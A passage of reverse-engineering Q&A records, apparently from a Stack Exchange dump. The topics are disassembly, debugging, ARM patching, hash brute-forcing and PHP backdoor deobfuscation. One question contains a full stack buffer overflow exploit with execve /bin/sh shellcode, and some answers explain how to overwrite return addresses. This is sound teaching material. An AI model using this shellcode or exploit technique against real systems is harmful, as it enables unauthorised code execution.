#include <stdio.h>\n#include <windows.h>\nint bitXor(int a,int b) { return (a & ~b) | (~a & b); }\nvoid hashit( void) {  \n    SYSTEMTIME st;  \n    unsigned long specialNum=0x4E67C6A7,savedspecialNum=0x4E67C6A7;\n    unsigned int ch;\n    char inputVal[32]={0};\n    GetSystemTime(&st);\n    printf(\"System time is : %02d:%02d:%02d:%02d\\nBruteforce seed = 0xfffffff0\\n\", \n    st.wHour, st.wMinute,st.wSecond,st.wMilliseconds);\n    for (unsigned __int64 in = 0xfffffff0; in < 0xffffffffffffffff; in++) {     \n        _i64toa_s( in,inputVal,sizeof(inputVal),10);        \n        for(unsigned int i=0;i<strlen(inputVal);i++){\n            ch=inputVal[i];\n            ch=ch+(specialNum*32);\n            ch=ch+(specialNum/4);\n            specialNum=bitXor(specialNum,ch);\n        }\n        if(specialNum == savedspecialNum) {\n            GetSystemTime(&st);\n            printf(\"The system time is: %02d:%02d:%02d:%02d\\n\", \n            st.wHour, st.wMinute,st.wSecond,st.wMilliseconds);\n            printf(\"%I64x\\t%x\\n\",in,specialNum);\n        }\n        specialNum = savedspecialNum;\n    }\n}\nvoid main (void) {\n    hashit();\n}\n
\n\n

result

\n\n
System time is : 06:17:40:328\nBruteforce seed = 0xfffffff0\nThe system time is: 06:51:23:343\n198172e4a       4e67c6a7\n
\n\n

Edit

\n\n

An improved but still Lame bruteforcer finds the first collision in 80 odd seconds

\n\n
#include <stdio.h>\n#include <windows.h>\nchar in[33] = {\"4294967280\"};\nunsigned long specialNum=0x4E67C6A7,savedspecialNum=0x4E67C6A7;\nSYSTEMTIME lt;\nvoid main (void ){ unsigned int ch; GetLocalTime(&lt);\n printf(\"BruteForce Started At %02d:%02d:%02d:%02d Seed used 0n%s 0x%I64x\\n\",\n lt.wHour, lt.wMinute,lt.wSecond,lt.wMilliseconds,in,_strtoui64(in,0,10));\n while(in[0] <= 57) { while(in[1] <= 57) { while(in[2] <= 57) {\n    while(in[3] <= 57) { while(in[4] <= 57) { while(in[5] <= 57) {\n       while(in[6] <= 57) { while(in[7] <= 57) { while(in[8] <= 57) {\n          while(in[9] <= 57 ) { for(unsigned int i=0;i<10;i++) {\n            ch=in[i]; ch=ch+(specialNum*32); ch=ch+(specialNum/4);\n            specialNum=specialNum^ch;\n           } if(specialNum == savedspecialNum) { GetLocalTime(&lt);\n            printf(\"First Collision Found 0n%s 0x%I64x\\nBruteForce Ended \"\n            \"At %02d:%02d:%02d:%02d\\n\",in,_strtoui64(in,0,10),lt.wHour,\n            lt.wMinute,lt.wSecond,lt.wMilliseconds);return;\n           }specialNum = savedspecialNum; in[9]++;\n          }in[8]++;in[9]='0';\n         }in[7]++;in[8]='0','0';\n        }in[6]++;in[7]='0','0','0';\n       }in[5]++;in[6]='0','0','0','0';\n      }in[4]++;in[5]='0','0','0','0','0';\n     }in[3]++;in[4]='0','0','0','0','0','0';\n    }in[2]++;in[3]='0','0','0','0','0','0','0';\n   }in[1]++;in[2]='0','0','0','0','0','0','0','0';\n  }in[0]++;in[1]='0','0','0','0','0','0','0','0','0';\n }\n}\n
\n\n

Result

\n\n
>strarray.exe\nBruteForce Started At 19:26:45:437 Seed used 0n4294967280 0xfffffff0\nFirst Collision Found 0n6846623306 0x198172e4a\nBruteForce Ended At 19:28:01:921\n
\n" }, { "Id": "9048", "CreationDate": "2015-06-02T11:21:24.617", "Body": "

It seems abo1.exe advanced_buffer_overflow challenge is packed, I've tried to unpack it, but I am still beginner in unpacking.It seems it is packed manually. I've also tried OllyDump and ImortREC.

\n\n

Can any body give me a hand on unpacking it?\nHere is the file : http://www.binary-auditing.com/binary-auditing-training-package.zip

\n\n

password : fdcd2ff4c2180329053650f3075d39f4

\n", "Title": "Unpacking abo1.exe advanced buffer overflow challenge from www.binary-auditing.com", "Tags": "|unpacking|packers|", "Answer": "

The file abo1.exe (MD5: 22702FBFC5B198080ACA8F0BE6F2DF0B) doesn't look packed to me. Looking at the PE structure we can see the entry point is in the .text section and the file has a few imports:

\n\n

\"enter

\n\n

Disassembling this entry point shows some code that looks normal. The main function gets the command line arguments and passes them to another function before terminating:

\n\n

\"enter

\n\n

Looking at this other function we can see a strcpy to a stack destination buffer with an attacker supplied source buffer.

\n\n

\"enter

\n\n

The challenge from the training perspective is to exploit this stack based buffer overflow in order to gain arbitrary code execution (which is beyond the scope of this answer).

\n" }, { "Id": "9053", "CreationDate": "2015-06-02T14:19:53.027", "Body": "

I'm using OllyDbg v2.01 to analyse a specific binary. The binary is calling createProcess() and afterwards it's checking the return value via test eax, eax.\nEAX contains 00000001 so the createProcess() call must have been successful. Nevertheless, OllyDbg crashes if I want to step over test eax, eax and I have absolutely no idea why. Is there any way to find out what's the problem for Olly? Normally, I can see if there is an access violation or something else going on which might bother Olly but in this case, there is nothing.

\n", "Title": "How to find out why OllyDbg crashes?", "Tags": "|ollydbg|", "Answer": "

You can debug OllyDbg with another instance of OllyDbg:

\n\n\n" }, { "Id": "9068", "CreationDate": "2015-06-05T07:59:52.107", "Body": "

Here is the code of loop that I'm trying to understand the disassembly of it:

\n\n
#include<stdio.h>\n#include <iostream>\n\nusing namespace std;\n\nint main() {\n   int i, arr[50], num;\n\n   printf(\"\\nEnter no of elements :\");\n   cin >> num;\n\n   //Reading values into Array\n   printf(\"\\nEnter the values :\");\n   for (i = 0; i < num; i++)\n    cin >> arr[i];\n\n   return 0;\n}\n
\n\n

And this is the disassembly:\n\"enter

\n\n

Can you explain me the highlighted part? what is Var_D8 is used for? Why compiler shifted left the edx?

\n", "Title": "Understanding the loop disassembly", "Tags": "|disassembly|binary-analysis|", "Answer": "

var_D8 is your int arr[50].

\n\n

You can recognize it quickly solely by its name : 50 * sizeof(int) = 200 = 0xC8. The next variable on the stack is numb_of_elements which is positionned on -0x10 on the stack, thus we have some memory between -0xD8 and -0x10 that corresponds to the int array.

\n\n

Here are some explanations about the following instructions :

\n\n
lea eax, [ebp+var_D8]  ; Get the address of the first element of the array.\nmov edx, [ebp+Counter] ; Get the current element index.\nshl edx, 2             ; Since the size of each element of the array is 4, multiply the index by 4\nadd eax, edx           ; &arr[i] = The address of the current element\nmov [esp], eax         ; Move it on the stack so it can be written by std::cin\n
\n" }, { "Id": "9071", "CreationDate": "2015-06-05T19:46:45.327", "Body": "

I have a binary file which is potentially a virus and I wish to look into its internals. I need to be cautious as I don't want it to run on my system. That's why I ruled out gdb.

\n\n

I've searched and skimmed various sites on decompilers but, I haven't been able to figure out the internals. Does the decompiler actually execute the code in someway? (again, I don't want the file to run on my system in any way).

\n\n

Using a VM is not an option as I have a low-RAM system. What are the risks of running a decompiler to analyze a potentially malicious executable.

\n", "Title": "What are the risks of running a decompiler?", "Tags": "|decompilation|decompile|decompiler|malware|", "Answer": "

Static analysis doesn't execute the code.

\n\n

You can safely run a decompiler or dissembler against the binary and it will analyze without executing the code. Static analysis by itself can be difficult if the binary is obfuscated and packed. There is a risk where the file could exploit a vulnerability in the program doing the analysis, but this is fairly uncommon, though you should still keep you systems up to date and run as an unprivileged user.

\n\n

Some disassemblers you could try:

\n\n\n\n

This page lists some decompilers you could try. I haven't tried any of them (except for IDA Decompiler, which is expensive), so I can't vouche for how well they work.

\n" }, { "Id": "9076", "CreationDate": "2015-06-07T00:26:27.630", "Body": "

I'm trying to extract a float value at the current linear address in the IDC script, but I can't figure out how to do this.

\n\n

Disassembly example:

\n\n
.rdata:004F8360 flt_4F8360      dd 0.69999999           ; DATA XREF: sub_4071E0+68r\n
\n\n

I want to print this float value in the console message like this:

\n\n
Value: 0.69999999\n
\n\n

I've tried (unsuccessfully):

\n\n\n\n

So how does one achieves this?

\n", "Title": "How to get value at the current linear address in the IDC script?", "Tags": "|ida|", "Answer": "

By looking at the documentation.

\n

Use GetFloat.

\n" }, { "Id": "9078", "CreationDate": "2015-06-07T07:50:21.750", "Body": "

When I used CheatEngine (I know, I know...) it had this option that let you create code caves, meaning you could replace any instruction with a JMP to a new section, which contained the old instruction followed by your new code, and then JMP'd back to original place.

\n\n

I'd like to do the same with Ida, in a way that lets me save my changes to executable. Is this possible?

\n\n

I tried adding new section manually in the segments window, but saving the executable with \"apply changes to input file\" doesn't change anything, nor does saving a \"DIF\" file.

\n", "Title": "Adding new code with Ida", "Tags": "|ida|windows|", "Answer": "

I've done something like this with an ARM android application recently; however, IDA doesn't assemble ARM, and translating ARM code to binary manually isn't a fun task. I found the address of a suitable code cave in IDA first, wrote an assembly file beginning with .org code_cave_address (and another .org and a branch instruction at where i wanted to jump to my code cave) , used the arm version of gnu as to assemble it, then used objdump to find the assembled code, and finally used IDAPatcher to copy the hex code into my IDA database and patch the original shared library.

\n\n

Not the most straightforward way, but something that will work with every kind of processor, even if IDA doesn't support assembling for it.

\n" }, { "Id": "9079", "CreationDate": "2015-06-07T12:15:59.243", "Body": "

Lets assume this function frame :

\n\n

\"enter

\n\n

How to calculate and check if subtracted stack space by line 3 is 58h ?: sub esp, 58h

\n\n

And this is the code, the compiler is also Dev C++:

\n\n
#include <stdio.h>\n\nchar *the_good_one = \"gb_master\";\n\nvoid cookie()\n{\n    printf(\"Get a cookie!\\n\");\n}\n\nchar check_password()\n{\n    char password[64];\n\n    printf(\"Enter password: \");\n    scanf(\"%s\", password);\n\n    return (!strcmp(password, the_good_one));\n}\n\nint main(void)\n{\n    if(check_password())\n    {\n        printf(\"GOOOOOOOOOOD!\\n\");\n        cookie();\n    }\n    else\n    {\n        printf(\"Wrong password\\n\");\n    }\n\n    return 0;\n}\n
\n\n

check_password() function disassembly added :

\n\n

\"enter

\n", "Title": "Computing subtracted stack space for a function manually", "Tags": "|assembly|binary-analysis|static-analysis|binary|stack|", "Answer": "

Older compilers made space for function parameters on the stack by pushing them, and popping from the stack after the function call; newer compilers optimize this. For example, while a function gets executed, the stack changed like this:

\n\n
 start        calling       after         before scanf   after scanf \n              printf        printf                                   \n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|return addr| |return addr| |return addr| |return addr| |return addr|\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|           | |           | |           | |           | |           |\n| local     | | local     | | local     | | local     | | local     |\n| variables | | variables | | variables | | variables | | variables |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n              | \"Enter..\" |               | password  |              \n              +-----------+               +-----------+              \n                                          | \"%s\"      |              \n                                          +-----------+              \n
\n\n

You see how sp (the bottom of the stack) changes with every function call.\nNewer versions of gcc change this; they make enough space on the stack (for local variables and all possible function parameters) from the beginning, and just move the parameters to addresses relative to the stack pointer:

\n\n
 start        calling       after         before scanf   after scanf \n              printf        printf                                   \n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|return addr| |return addr| |return addr| |return addr| |return addr|\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|           | |           | |           | |           | |           |\n| local     | | local     | | local     | | local     | | local     |\n| variables | | variables | | variables | | variables | | variables |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n|           | |           | |           | |           | |           |\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|           | |           | |           | | password  | |           |\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n|           | | \"Enter..\" | |           | | \"%s\"      | |           |\n+-----------+ +-----------+ +-----------+ +-----------+ +-----------+\n
\n\n

Note how, from the beginning, the stack has the size it needs for the 4th step (before scanf), and how the \"Enter..\" string is moved directly to where the stack pointer is (so it's the first parameter on the stack), not to the space directly below local variables.

\n\n

So to calculate the stack size from the source code, you need to know

\n\n\n\n

This might change per compiler version as well. It seems that your compiler reserved 8 bytes for stack frame/canary; 64 (0x40) bytes for the password array, and another 16 bytes for function parameters, where 8 would have been sufficient (maybe for alignment reasons)?

\n\n

I wouldn't rely on any formula for the number of bytes needed; instead, check with the specific compiler i'm using, and prepare for this number to change whenever a different compiler gets used.

\n" }, { "Id": "9085", "CreationDate": "2015-06-07T20:45:13.247", "Body": "

I have the following 2 ARM instructions in a basic block which is part of a function that I'm trying to convert to C.

\n\n
ADDS r4, r2, r7\nADC  r5, r3, r7, ASR#31\n
\n\n

From my understanding, the first instruction does a r4 = r2+r7 and sets the flags. The next instruction does r5 = r3 + (r7>>31) + <carryflag>. How would the instructions look in C?

\n", "Title": "ADC in ARM : What is the corresponding C?", "Tags": "|arm|decompile|", "Answer": "

There is no single C instruction that matches the assembly code directly. What's happening is the 32 bit value in r7 gets added to the 64 bit value in r2/r3, with the result written to r4/r5.

\n\n

You can verify this in a few different cases:

\n\n\n\n

So the original C code probably looked like this:

\n\n
__int64__ r23;\n__int32__ r7;\n__int64__ r45;\nr45=r23+r7;\n
\n\n

As i said, the asm code doesn't really match the C code, since C doesn't have any syntax for type extension. (You could use casts in your C, but that wouldn't really make anything clearer).

\n\n

This is one of the reasons why there is more to reverse engineering that just creating C from assembly; you have to have an understanding on assembly, registers, processor quirks, and compiler shortcuts, to understand what's going on in these cases.

\n" }, { "Id": "9089", "CreationDate": "2015-06-08T00:55:13.527", "Body": "

I have disassembled a MIPS library in the online Retargetable Disassembler, but I don't really understand the code I got (I'm new to reverse engineering). Would it be possible for me to either recompile the code so I can call it, or use the library directly to call the code?

\n\n

I assume the latter would only be possible if I'm running on MIPS. How else could I proceed with reverse engineering this code?

\n", "Title": "Calling a function in a MIPS library", "Tags": "|mips|", "Answer": "

You will have to learn MIPS assembly, and some information about the processor and the registers it uses (for example, opcodes are 3-operand, and r0 is always zero).

\n\n

If you want to add dynamic analysis to your efforts at static disassembly, you'll need the corresponding environment. For example, if your binary is a piece of old SGI IRIX software, a Linux MIPS system won't help you much, since calling conventions, file formats etc. are different. However, this doesn't neccesarily mean you need a MIPS processor, there are various emulators out there for MIPS devices.

\n\n

Especially in the case of MIPS under Linux, many routers use MIPS processors, and there are several of them that allow you to telnet or ssh in. So, in addition to running an emulator, you could try getting one of those devices, copying your binary there, and running it, possibly under the control of a debugger like gdb or IDA Pro (you need the professional version, the free version and the entry-level version don't support MIPS).

\n" }, { "Id": "9092", "CreationDate": "2015-06-08T10:34:36.563", "Body": "

Basically I want to replace MOVS R1, #0x0 with MOV.W R1, #0x123, since later instruction requires 4 bytes it is impossible to simply replace in HEX code.

\n\n

I am using IDA Pro for analyzing native android library. I read about codecaves but my text segment don't have free space to add new data.

\n\n

Since i'm newbie to this, any tutorials are welcome.

\n", "Title": "Replacing small length instruction with larger length instruction", "Tags": "|ida|android|arm|hex|patching|", "Answer": "

As you need just 2 more bytes, you don't need a large code cave. Out of the box, there are four things you can try:

\n\n\n" }, { "Id": "9094", "CreationDate": "2015-06-08T12:42:16.737", "Body": "

As the title says, how to calculate offsets for branch instructions?\nFor example i have following assembly code,

\n\n
0x60ECE    B loc_60EE6\n;\n;\n;\n0x60EE6    LDR.W R2, #0x123\n
\n\n

Hex code for location 0x60ECE is 0A E0. i want to know how it is calculated. According to https://stackoverflow.com/questions/6744661/understanding-arm-assembler-branch-offset-calculation , offset should be 04 instead of 0A.

\n\n

I'm working on android binary.

\n", "Title": "Offset calculation for branch instruction in ARM", "Tags": "|ida|android|arm|offset|", "Answer": "

You're missing the fact that you're working in THUMB mode, where you have two bytes per instruction (for most instructions at least), and that link describes ARM mode, where every instruction has 4 bytes.

\n\n

(How do i know you're in THUMB mode? Apart from your last question, your 0x60ECE B loc_60EE6 isn't 4-byte aligned, so it must be THUMB).

\n\n

If you add 4 bytes to the instruction at loc_60ECE, you get 0x60ED2. Subtract this from 60EE6 to get 14, or 20 decimal. Divide by 2 (2 byte instructions in THUMB mode) to get 10 decimal, or 0A hex.

\n\n

As calculating offsets can be hard and is error-prone, i let the gnu arm assembler handle it for me. First write an assembly file, like this (named q.s, choose any name you want):

\n\n
.thumb\n.arch armv7a\n.syntax unified\n.org 0x60ECE\n    B codecave\noriginal:\n.org 0x60EE6\ncodecave:\nmovw R2, #0x123\nB original\n
\n\n

then assemble it and check the result:

\n\n
arm-linux-gnueabi-as q.s\narm-linux-gnueabi-objdump -s a.out | grep -v \"00000000 00000000 00000000 00000000\"\n\nContents of section .text:\n 60ec0 00000000 00000000 00000000 00000ae0  ................\n 60ee0 00000000 000040f2 2312f1e7           ......@.#...    \n
\n\n

You see your 0ae0 at 60ece, and 40f22312f1e7 at 60ee6. You can patch this in IDA directly, or use the idapatcher plugin to copy/paste the hex. I found this to be much easier than crafting the patched bytes manually.

\n" }, { "Id": "9099", "CreationDate": "2015-06-09T07:32:33.400", "Body": "

I compile this code with Visual studio 2010 compiler:

\n\n
#include \"stdafx.h\"\n#include <iostream>\nint main() {\n   int *p;\n   p = new int(255);\n   delete []p;\n}\n
\n\n

The disassembly of it, is different from Dev C++. It seems it first checks if there is enough memory and then start the allocation. am I right?

\n\n

This is the disassembly :

\n\n

\"enter

\n\n

In the Orange node:

\n\n

Why esi and edi pushed to the stack?\nI've seen mov eax,0CCCCCCCCh before in books, What does this instruction do?\nWhat does the highlighted part of the orange node do? Is it a check to see if there is enough available memory?

\n\n

In the blue node:

\n\n

FFh is equal to 255, Can you explain how the memory is getting allocated?

\n", "Title": "Visual studio memory allocation reverse engineering", "Tags": "|disassembly|binary-analysis|c++|static-analysis|compilers|", "Answer": "

You may want to read up on assembly before attempting to reverse engineer.

\n\n
    \n

  1. esi and edi are pushed on the stack because the compiler thought this routine modifies them. (It is wrong because only edi is used. Still, better safe than sorry.)

    2. \n

  2. mov eax,0cccccccch moves the value 0CCCCCCCCh into register eax. Which is actually kind of self-explanatory. That instruction in itself does nothing particularly useful, and you should be careful to ask such questions. It is clear from the next lines that the value gets stored into the Local Variable area, to fill it with a 'known' value, rather than having random values.

    \n\n

    The value 0CCCCCCCCh is used as a sentinel value and so if the context is \"it gets stored somewhere\", then its purpose is to catch uninitialized pointers.

    3. \n

  3. Again, time for an assembly refresher. The first highlighted line

    \n\n
    add esp, 4\n
    \n\n

    is not part of the following instructions, it's Stack Cleanup for the previous instruction: the call.

    \n\n

    The lines mov [ebp+var_E0], eax and cmp [ebp+var_E0], 0 have nothing to do at all with any kind of \"allocation\" or \"memory\"! All it does is save eax \u2013 the return value of the previous call \u2013 into a local variable, and then test if the value is 0. That is boilerplate generated code for

    \n\n
    var_E0 = new (uint);\nif (var_E0 == 0)\n   ...\n
    \n\n

    which is the only 'check' there is, and only after attempting to allocate, not before.

    4. \n

  4. 'Blue node': the code in assembler does what the C++ code is supposed to do. It allocated space for a single integer before (the push 4 in the call to new) and in the blue node, it stores the value 255 into the newly allocated memory. If you expected it to allocate 255 bytes: well no. It does what the C++ code is supposed to do, which is explained in What does \"new int(100)\" do? and the question of which it is marked a duplicate.

    5. \n
\n" }, { "Id": "9117", "CreationDate": "2015-06-10T22:01:21.820", "Body": "

I'm working on a sensor with PSI5 interface and I'm using PSI Simulyzer box to simulate the environment during testing. This box comes with a software (some sort of digital oscilloscope) to make the measurements, but API header files and libraries are also provided. My intent is to use this API to automate non-regression test measurements.

\n\n

This API is very poorly documented - it's basically a doxygen generated from the header file. I'm trying to guess the missing details, but some things just won't work in my software. Namely, I don't seem to be able to switch between synchronous and asynchronous modes, while the original software has a drop-down which works just fine.

\n\n

I decided to analyze the original software by placing breakpoints to several (about 20) DLL functions which seem to be related to configuration in Visual Studio debugger, and note which of these functions are called, and with which arguments. I didn't succeed so far - when I call the same functions with the same arguments on my side, communication mode won't change.

\n\n

Here's what I think causes my approach to fail:

\n\n
    \n
  1. I didn't set the breakpoints to all functions (there are about 100 of them)
    2. \n
  2. I didn't analyze the calls from the beginning. Maybe there is some sort of pre-config sequence which I'm missing.
    3. \n
  3. Some functions take pointer arguments (e.g. int16_t *config) and I have no idea how many bytes I need to provide them. Maybe they point to structures with more pointers inside, which I cannot guess.
    4. \n
\n\n

I see how to overcome issues 1 and 2, but doing such extended analysis by hand is too time-consuming. Is there a way to automate the process of setting breakpoints to all functions of a DLL, and log the arguments when these functions are called? Maybe there is a debugger more adapted to this task than Visual Studio?

\n", "Title": "How to analyse a poorly documented DLL API?", "Tags": "|debugging|c++|dll|", "Answer": "

My first recommendation would be to contact the vendor and ask them your questions. You paid for the product and its SDK, so if the latter is not usable, they should offer support to you.

\n\n

As for monitoring DLL function calls, I'd recommend using API Monitor and its External DLL Filter functionality. It won't solve everything for you since you'd still need to figure out how many arguments are expected for each DLL function (you can extract that information with IDA), but I think it'll get you 90% of the way there.

\n\n

\"enter

\n" }, { "Id": "9125", "CreationDate": "2015-06-12T21:12:58.343", "Body": "

I'm following the video here: https://www.youtube.com/watch?v=N0DBu3TGejI

\n\n

ExploitMe.c

\n\n
#include<stdio.h>\n#include<string.h>\n\nmain(int argc, char **argv)\n{\n        char buffer[80];\n\n        strcpy(buffer, argv[1]);\n\n        return 1;\n}\n
\n\n

HackYou.c

\n\n
#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n\n// shellcode ripped from http://www.milw0rm.com/shellcode/444\n\nchar shellcode[]=\n\"\\x31\\xc0\"                      // xorl         %eax,%eax\n\"\\x50\"                          // pushl        %eax\n\"\\x68\\x6e\\x2f\\x73\\x68\"          // pushl        $0x68732f6e\n\"\\x68\\x2f\\x2f\\x62\\x69\"          // pushl        $0x69622f2f\n\"\\x89\\xe3\"                      // movl         %esp,%ebx\n\"\\x99\"                          // cltd\n\"\\x52\"                          // pushl        %edx\n\"\\x53\"                          // pushl        %ebx\n\"\\x89\\xe1\"                      // movl         %esp,%ecx\n\"\\xb0\\x0b\"                      // movb         $0xb,%al\n\"\\xcd\\x80\"                      // int          $0x80\n;\n\nchar retaddr[] = \"\\x08\\xf3\\xff\\xbf\";\n\n#define NOP 0x90\n\n\nmain()\n{\n        char buffer[96];\n\n        memset(buffer, NOP, 96);\n\n        memcpy(buffer, \"EGG=\", 4);\n\n        memcpy(buffer+4, shellcode, 24);\n\n        memcpy(buffer+88, retaddr, 4);\n        memcpy(buffer+92, \"\\x00\\x00\\x00\\x00\", 4);\n\n        putenv(buffer);\n\n        system(\"/bin/sh\");\n\n        return 0;\n\n}\n
\n\n

I run ./HackYou, in that environment there is an enviroment variable named $EGG that is used as an argument to the ExploitMe.c. $EGG contains: 24 bytes shell code, 60 bytes nop, and 4 bytes to override the RET address for a total of 88 bytes (Buffer + EBP + RET)

\n\n

This screenshot contains the information you need to know:

\n\n

\"enter

\n\n

On ExploitMe.c, I break on line 8. The first thing I print is the stack. 0x00881d36 is the RET address.

\n\n

Then I print argv1, as you can see it is 22 words. It will overwrite the Buffer+EBP+RET exactly. The start of the buffer variable is at 0xbffff308 (ESP+8), so I add that into the end of the payload.

\n\n

Then I step. The RET has been perfectly overwritten with the buffer memory address.

\n\n

It should return to the beginning of the buffer and start executing my shell code. All seems fine to me, but instead of giving me a shell, it gives me a segmentation fault.

\n\n

What's going on?

\n\n

Thank you.

\n", "Title": "Beginner buffer overflow - why isn't my shellcode executing?", "Tags": "|buffer-overflow|shellcode|", "Answer": "

When compiling I did not disable the stack smashing protection. Compiling with -z execstack fixed this.

\n" }, { "Id": "9129", "CreationDate": "2015-06-13T23:07:25.087", "Body": "

I have an issue. The address for a function that I need to overwrite the RET to (buffer overflow) is only 3 bytes. However, I need 4 bytes to overwrite the RET exactly. What do I do?

\n", "Title": "Address is 3 bytes - need 4 bytes to overwrite RET", "Tags": "|buffer-overflow|", "Answer": "

If the architecture is 32-bit, every address must be 4 bytes so the function address you mentioned is not exception. but as high order 00 is not valuable (in math) it is not normally mentioned:

\n\n

0x0041a82f --> 0x41a82f

\n\n

You must overwrite your address in 4 bytes with former 00. but in many cases (especially string base overflow) it is a problem called \"bad char\", cause payload corruption. you have to fix this problem too.\nGood Luck!

\n" }, { "Id": "9140", "CreationDate": "2015-06-15T12:40:11.150", "Body": "

I'm analysing some malware executable with ImmDBG and IDA Pro.

\n\n

The executable calls the kernel32.VirtualAlloc() at runtime with an argument lpAddress=NULL what means that an operating system decides itself where the memory has to be allocated. The VirtualAlloc() returns an address 0x003F0000. After that the executable writes some function to this memory, which is quite big, and I would like to analyse this function in IDA Pro.

\n\n

The problem is, that my executable is loaded to the 0x004010000 in IDA Pro\nand I don't know how could I extend the memory of the executable in IDA Pro in order to create this function manually(with help of PatchBytes).

\n\n

Also maybe it's possible somehow to build a function from a sequence of opcodes in IDA Pro?

\n\n

Thank you in advance!

\n", "Title": "How can I extend a memory of an analysed executable in IDA Pro?", "Tags": "|ida|disassembly|malware|anti-debugging|immunity-debugger|", "Answer": "

I solved this issue by creating a new section in IDA Pro (File -> Segments -> Create segment). After that I dumped new section in OllyDBG (binary copy) and transferred it to the new created section in IDA Pro (with a Python script). After that I could analyse the code and write comments in IDA to make better analysis and documentation.

\n" }, { "Id": "9143", "CreationDate": "2015-06-15T17:08:15.660", "Body": "

I found this backdoor on a client's website.

\n\n

http://pastebin.com/wVs8w44v (original format)

\n\n

http://pastebin.com/acfx49QJ (semi - readable)

\n\n

I have gotten rid of it and realise it's an obfuscated script but how can I deobfuscate it in order to get to the root of this matter and understand the motive behind this attack better?

\n\n

Thanks!

\n", "Title": "How can I decode this php code?", "Tags": "|decryption|deobfuscation|php|", "Answer": "

I wrote a small Python script to deobfuscate the majority of the string obfuscation:

\n\n
import urllib\nimport re\n\nphp = urllib.urlopen(\"http://pastebin.com/raw.php?i=wVs8w44v\").read()\n\n# Slight modification below so that we don't escape $\nz26 = \"jmiO@sxhFnD>J\\r/u+RcHz3}g\\nd{^8 ?eVwl_T\\\\\\t|N5q)LobU]40!p%,rC-97k<'y=W:P$1BI&S6\\\"E(K`Y~.Q;f[v2a#X*ZAGtM\"\n\n# Decode all $z26[...] strings\nfor i in range(len(z26)):\n    php = php.replace(\"$z26[\" + str(i) + \"]\", \"\\\"\" + z26[i] + \"\\\"\")\n\n# Concatenate decoded strings\nphp = php.replace(\"\\\".\\\"\", \"\")\n\n# Replace all $GLOBALS[...]\nglobals = {}\nfor m in re.finditer(\"\\$GLOBALS\\['(?P<key>\\w+?)'\\] = \\\"(?P<value>.*?)\\\";\", php):\n    globals[m.group(\"key\")] = m.group(\"value\")\nphp = re.sub(\" \\$GLOBALS\\['(?P<key>\\w+?)'\\] = \\\"(?P<value>.*?)\\\";\", \"\", php)\nfor key in globals.keys():\n    php = php.replace(\"$GLOBALS['\" + key + \"']\", globals[key])\n\nprint php\n
\n\n

I then formatted the output with http://phpbeautifier.com/ and stored the results at http://pastebin.com/p7Tmvq4e.

\n\n

The only major thing left to do is to rename the functions and arguments, but that can't be easily automated. I think the content at http://pastebin.com/p7Tmvq4e should meet your needs, though!

\n" }, { "Id": "9145", "CreationDate": "2015-06-15T17:21:41.620", "Body": "

I have exe file that I want to edit function in it.
\nI know what is the function name, but how can I found the address by it name?

\n", "Title": "OllyDbg find function by name", "Tags": "|windows|ollydbg|", "Answer": "

If Olly knows the function name, you can press Ctrl+G and start typing the name of the function, it should be listed there. Select you function, and click Follow expression, it should take you there.

\n\n

\"Go

\n" }, { "Id": "9153", "CreationDate": "2015-06-16T16:34:01.337", "Body": "

I'm trying to reverse-engineer a file format, and I got a buddy of mine (who works in the security field) to decompile the program via Hex-Rays and give me the resulting .C file. I've spent the past several days analyzing this file. However there is still a lot that I am trying to figure out, in particular two parts:

\n\n
// v42 is a FILE handler, Dst is a 0x40 byte buffer\nif ( !ReadBuffer(&v42, &Dst, 0x40u, 0) ||\n !(unsigned __int8)(*(int (__stdcall **)(char *))(*(_DWORD *)v29 + 20))(&Dst) )\n
\n\n

I understand the first part, it reads 0x40 bytes into the buffer which is the file header. The second line is very confusing. I know C++ well, but I haven't had to deal with how much is going on with this. My guess is that this is fancy magic for saying \"If the byte at 0x20 is not 1\", but that doesn't make sense.

\n\n

There's also a password associated with this file. The password itself appears to be a SHA256 hash, but I'm not sure exactly how it's used. Digging into this .C file, I see the function related to the password. It has many lines that look near identical:

\n\n
    v3 = a3;\n      v4 = __ROL4__(\n         (unsigned __int8)byte_441348[(*(_DWORD *)a1 + *(_DWORD *)a3) &         0xFF] | (((unsigned __int8)byte_441248[((unsigned int)(*(_DWORD *)a1 + *(_DWORD *)a3) >> 8) & 0xFF] | ((((unsigned __int8)byte_441048[(unsigned int)(*(_DWORD *)a1 + *(_DWORD *)a3) >> 24] << 8) | (unsigned __int8)byte_441148[((unsigned int)(*(_DWORD *)a1 + *(_DWORD *)a3) >> 16) & 0xFF]) << 8)) << 8),\n     11);\n      v5 = *(_DWORD *)(a1 + 4) ^ v4;\n
\n\n

Is there a way that I could figure out what algorithm is being used here without manually converting the code to something usable?

\n\n

On top of all of this, I know that the file is compressed with zlib (both 1.2.5 and 1.2.1 are being used by two related programs). I believe that there is some transformation from this password on the file before the stream is being inflated by zlib.

\n\n

Any ideas?

\n", "Title": "Help with analysis from IDA Pro Hex-Rays dump", "Tags": "|ida|decompilation|", "Answer": "

For your first question, (*(int (__stdcall **)(char *))(*(_DWORD *)v29 + 20)) is a function call (v29 is an object (perhaps a vtable) that contains a function pointer).

\n\n

Please create separate posts for each of your other questions (one question per post).

\n" }, { "Id": "9157", "CreationDate": "2015-06-16T22:55:00.667", "Body": "

I used IDA Pro and got the following expression from a produced C file:

\n\n
v25 = (*(int (**)(void))(v22 + 464))();\n
\n\n

I am trying to figure out the meaning of the above expression with the following links:

\n\n

http://www.unixwiz.net/techtips/reading-cdecl.html\n
\nhttp://www.codeproject.com/Articles/7042/How-to-interpret-complex-C-C-declarations

\n\n

I start with (v22 + 464) and then go out of the parenthesis and to the left to the following *(int (**)(void)).

\n\n

But, still can't understand. Any hints?

\n\n

